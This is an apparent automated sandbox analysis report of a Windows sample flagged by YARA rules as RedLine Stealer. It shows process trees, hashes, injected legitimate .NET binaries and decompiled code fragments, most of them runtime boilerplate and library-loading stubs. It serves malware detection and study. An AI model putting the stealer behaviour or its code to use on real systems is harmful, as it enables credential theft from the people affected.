Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1592,3532224147046022434,3796046305070752020,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1756 /prefetch:8
Imagebase:	0x7ff68b0a0000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: chrome.exe PID: 1472 Parent PID: 4772

General

Start time:	14:10:25
Start date:	29/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'
Imagebase:	0x7ff68b0a0000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: chrome.exe PID: 3732 Parent PID: 1472

General

Start time:	14:10:28
Start date:	29/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1512,11815571981665026670,16401458370521835106,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1896 /prefetch:8
Imagebase:	0x7ff68b0a0000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: DF3A.exe PID: 6180 Parent PID: 5464

General

Start time:	14:10:28
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\DF3A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DF3A.exe
Imagebase:	0xed0000
File size:	161280 bytes
MD5 hash:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000000.489693993.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000000.488918061.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000000.488076798.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000000.487377447.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: ServiceModelReg.exe PID: 7320 Parent PID: 6404

General

Start time:	14:10:31
Start date:	29/10/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe
Imagebase:	0xae0000
File size:	221800 bytes
MD5 hash:	FFF587A66B8D5A50A055B9CD6D632BEB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.483819247.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000002.507631653.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.480873861.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.483001107.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.484896100.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: chrome.exe PID: 8084 Parent PID: 7320

General

Start time:	14:10:42
Start date:	29/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ServiceModelReg.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'
Imagebase:	0x7ff68b0a0000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: chrome.exe PID: 5744 Parent PID: 7320

General

Start time:	14:10:46
Start date:	29/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ServiceModelReg.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'
Imagebase:	0x7ff68b0a0000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: chrome.exe PID: 6240 Parent PID: 8084

General

Start time:	14:10:46
Start date:	29/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,13203243795606022941,14762146736583605753,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1928 /prefetch:8
Imagebase:	0x7ff6225d0000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: chrome.exe PID: 7992 Parent PID: 5744

General

Start time:	14:10:50
Start date:	29/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1536,11199746608983669523,6532242252009539287,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1944 /prefetch:8
Imagebase:	0x7ff68b0a0000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: bhhudtb PID: 8080 Parent PID: 664

General

Start time:	14:10:57
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\bhhudtb
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\bhhudtb
Imagebase:	0x400000
File size:	212992 bytes
MD5 hash:	73252ACB344040DDC5D9CE78A5D3A4C2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Md0q201V1D.exe PID: 6304 Parent PID: 5100 Md0q201V1D.exeCOMMON

Executed Functions

Function 00424920, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0041D2DB,?,?,00424A90), ref: 00424927

Memory Dump Source

Source File: 00000000.00000002.285914474.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.285910404.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.285951252.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.286163197.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 2ea03846aa0b567229e74ed0acf05d785ccbcc0ad5cbdc7d91d64925a7e8509b
Instruction ID: d35c21fdf9697fae3b8ca4ac9df821949a654717cf36e16e5de8d48c8df027d1
Opcode Fuzzy Hash: 2ea03846aa0b567229e74ed0acf05d785ccbcc0ad5cbdc7d91d64925a7e8509b
Instruction Fuzzy Hash: 10A01132088208A3C2002282A80AF023A0CE3CCBA2F080020F20C0A0A00AA2A82080AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041CB20, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E00421CF0(); // executed
				return L0041CB40(_t3, _t4);
			}

0x0041cb25
0x0041cb30

APIs

___security_init_cookie.LIBCMTD ref: 0041CB25

Memory Dump Source

Source File: 00000000.00000002.285914474.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.285910404.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.285951252.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.286163197.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction ID: 2694d3b3090bb72e2c0ab5eae861d48d3f8affb5199f1fd9d83330763d83a11f
Opcode Fuzzy Hash: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction Fuzzy Hash: 03A0022518C65816416033AB785795AB54E48E0B687D5001B7A1A421131C9CB89140AE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004266D0, Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004266D0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x43e494; // 0x6d04cfdd
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43ff40 = _t6;
				 *0x43ff3c = _t20;
				 *0x43ff38 = _t22;
				 *0x43ff34 = _t19;
				 *0x43ff30 = _t25;
				 *0x43ff2c = _t24;
				 *0x43ff58 = ss;
				 *0x43ff4c = cs;
				 *0x43ff28 = ds;
				 *0x43ff24 = es;
				 *0x43ff20 = fs;
				 *0x43ff1c = gs;
				asm("pushfd");
				_pop( *0x43ff50);
				 *0x43ff44 =  *_t29;
				 *0x43ff48 = _v0;
				 *0x43ff54 =  &_a4;
				 *0x43fe90 = 0x10001;
				_t11 =  *0x43ff48; // 0x0
				 *0x43fe44 = _t11;
				 *0x43fe38 = 0xc0000409;
				 *0x43fe3c = 1;
				_t21 =  *0x43e494; // 0x6d04cfdd
				_v812 = _t21;
				_t23 =  *0x43e498; // 0x92fb3022
				_v808 = _t23;
				 *0x43fe88 = IsDebuggerPresent();
				_push(1);
				E004266B0(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x409f14);
				if( *0x43fe88 == 0) {
					_push(1);
					E004266B0(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x004266d0
0x004266d0
0x004266d0
0x004266d0
0x004266d0
0x004266d0
0x004266d0
0x004266d6
0x004266d8
0x004266d8
0x0042ec3b
0x0042ec40
0x0042ec46
0x0042ec4c
0x0042ec52
0x0042ec58
0x0042ec5e
0x0042ec65
0x0042ec6c
0x0042ec73
0x0042ec7a
0x0042ec81
0x0042ec88
0x0042ec89
0x0042ec92
0x0042ec9a
0x0042eca2
0x0042ecad
0x0042ecb7
0x0042ecbc
0x0042ecc1
0x0042eccb
0x0042ecd5
0x0042ecdb
0x0042ece1
0x0042ece7
0x0042ecf3
0x0042ecf8
0x0042ecfa
0x0042ed04
0x0042ed0f
0x0042ed1c
0x0042ed1e
0x0042ed20
0x0042ed25
0x0042ed3d

APIs

IsDebuggerPresent.KERNEL32 ref: 0042ECED
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042ED04
UnhandledExceptionFilter.KERNEL32(00409F14), ref: 0042ED0F
GetCurrentProcess.KERNEL32(C0000409), ref: 0042ED2D
TerminateProcess.KERNEL32(00000000), ref: 0042ED34

Memory Dump Source

Source File: 00000000.00000002.285914474.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.285910404.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.285951252.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.286163197.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: ec5799c425ddf0c343165b590ee265faa62188accbdfc7862bd0b4e9a472a92c
Instruction ID: 667d50180a260285ccbfbe8765d8080a644b9395e06ca7b0a6a88cdcc837672c
Opcode Fuzzy Hash: ec5799c425ddf0c343165b590ee265faa62188accbdfc7862bd0b4e9a472a92c
Instruction Fuzzy Hash: 23211EB9D002049BD300DF55FA866487BA4BB4E314F50207BED08A73B2E7B45989CF4E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Md0q201V1D.exe PID: 5724 Parent PID: 6304 Md0q201V1D.exeCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.338075395.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.338075395.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.338075395.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.338075395.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.338075395.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004026C8, Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026C8(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t12;
				void* _t13;
				void* _t16;
				intOrPtr _t20;
				void* _t22;
				void* _t25;
				UNICODE_STRING* _t26;
				intOrPtr* _t28;

				_t20 =  *_t28;
				L0040118A(0x2700, _t16, _t20, _t22, __eflags);
				_t17 = _a4;
				_t26 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t26, _a8, __ecx, 0x51, _t22, _t25, _t16);
				_t23 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t26,  &_v8);
				_t31 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_t13 = 0x2700;
				L0040118A(_t13, _t17, 0x51, _t23, _t31);
				return _v8;
			}

0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00000000

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 00000003.00000001.285719652.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: fb1d288646eac737f9562cb4a2b5784598c588a48ffd6e473a319c7d6c35b7e7
Instruction ID: 40dc2efb075a3afc972c71eb076c1c0414e6b27fd6f2b5cc45f04f39bc90cd3d
Opcode Fuzzy Hash: fb1d288646eac737f9562cb4a2b5784598c588a48ffd6e473a319c7d6c35b7e7
Instruction Fuzzy Hash: C9016231608504E7DB006A419E4DBAA7764AB44754F208437FA067B1C0D6FD9A4BB76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.338075395.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000003.00000002.338075395.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Function 004026D3, Relevance: 1.5, APIs: 1, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E004026D3(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				long _t13;
				void* _t14;
				struct _OBJDIR_INFORMATION _t16;
				intOrPtr _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				asm("sbb eax, [eax]");
				_t21 =  *_t30;
				L0040118A(0x2700, __ebx, _t21, __edi, __eflags);
				_t18 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), __ecx, 0x51);
				_t24 = _t28 - 4;
				_t13 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t13;
				if(_t13 != 0) {
					 *(_t28 - 4) = 0;
				}
				_t14 = 0x2700;
				L0040118A(_t14, _t18, 0x51, _t24, _t34);
				_t16 =  *(_t28 - 4);
				return _t16;
			}

0x004026d3
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 00000003.00000001.285719652.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 4e0e5ee68eecc59290c08c9297519d89f54fb23726755cfbd71717b5480a64e1
Instruction ID: 9584a62b05b7d8a9b2a776b7033dab2b10b945a71b24260a1d24854f7785f2a5
Opcode Fuzzy Hash: 4e0e5ee68eecc59290c08c9297519d89f54fb23726755cfbd71717b5480a64e1
Instruction Fuzzy Hash: 9C01D131608500EBCB019E419E4DBAA3760AF04304F208477E606BF1D0C6FD9607FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004026DF, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026DF(void* __ebx, signed int __ecx, void* __edi) {
				long _t12;
				void* _t13;
				struct _OBJDIR_INFORMATION _t15;
				signed char _t20;
				intOrPtr _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				signed char _t33;

				_t20 = __ecx |  *0xebc2f5eb;
				_t33 = _t20;
				_t21 =  *_t30;
				L0040118A(0x2700, __ebx, _t21, __edi, _t33);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t20, 0x51);
				_t24 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_t13 = 0x2700;
				L0040118A(_t13, _t17, 0x51, _t24, _t34);
				_t15 =  *(_t28 - 4);
				return _t15;
			}

0x004026df
0x004026df
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 00000003.00000001.285719652.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 66d6ed5a5f97da4cd1e2364b4ff1c60b02b4f842bf72e481ca125f9fdb398aad
Instruction ID: 8c80e095348b3890610be7f7119ddd6f2bf491658c7e2b08e3b2f8ba4f36ee70
Opcode Fuzzy Hash: 66d6ed5a5f97da4cd1e2364b4ff1c60b02b4f842bf72e481ca125f9fdb398aad
Instruction Fuzzy Hash: 61F0C231608505F7CB059B919A5DB9A7B70AF48358F208037E6467F1C0C3BC9A0AEB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004026F6, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026F6(void* __ebx, void* __ecx, signed int __edx, void* __edi) {
				void* _t12;
				long _t15;
				void* _t16;
				struct _OBJDIR_INFORMATION _t18;
				intOrPtr _t23;
				UNICODE_STRING* _t30;
				signed int _t32;
				intOrPtr* _t34;
				signed char _t37;

				_t37 = __edx |  *(__ebx + _t32 * 8 - 0xe);
				_t23 =  *_t34;
				L0040118A(_t12, __ebx, _t23, __edi, _t37);
				_t20 =  *((intOrPtr*)(_t32 + 8));
				_t30 = _t32 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t32 + 8)) + 0xc))(_t30,  *((intOrPtr*)(_t32 + 0xc)), __ecx, 0x51);
				_t28 = _t32 - 4;
				_t15 = LdrLoadDll(0, 0, _t30, _t32 - 4);
				_t38 = _t15;
				if(_t15 != 0) {
					 *(_t32 - 4) = 0;
				}
				_t16 = 0x2700;
				L0040118A(_t16, _t20, 0x51, _t28, _t38);
				_t18 =  *(_t32 - 4);
				return _t18;
			}

0x004026f6
0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00402751
0x00402758

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 00000003.00000001.285719652.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 963b1ec641e54d0a3c948b9f5a1a39febab9ff735ad4ee73f913fea554ebc1e3
Instruction ID: d7b1c623c9884319f2b4b1abd5d885049190cb82f350ff51d45b82dffe9b7bfe
Opcode Fuzzy Hash: 963b1ec641e54d0a3c948b9f5a1a39febab9ff735ad4ee73f913fea554ebc1e3
Instruction Fuzzy Hash: E2F05435604505E7CF019A91999DB9E7760EF44354F208067F606BF0D1C2BC960A976A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004015DB, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.338075395.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed2891f3b553ceccb1197e576bb3cc6c62237795c24559e61feaca1efd6c1519
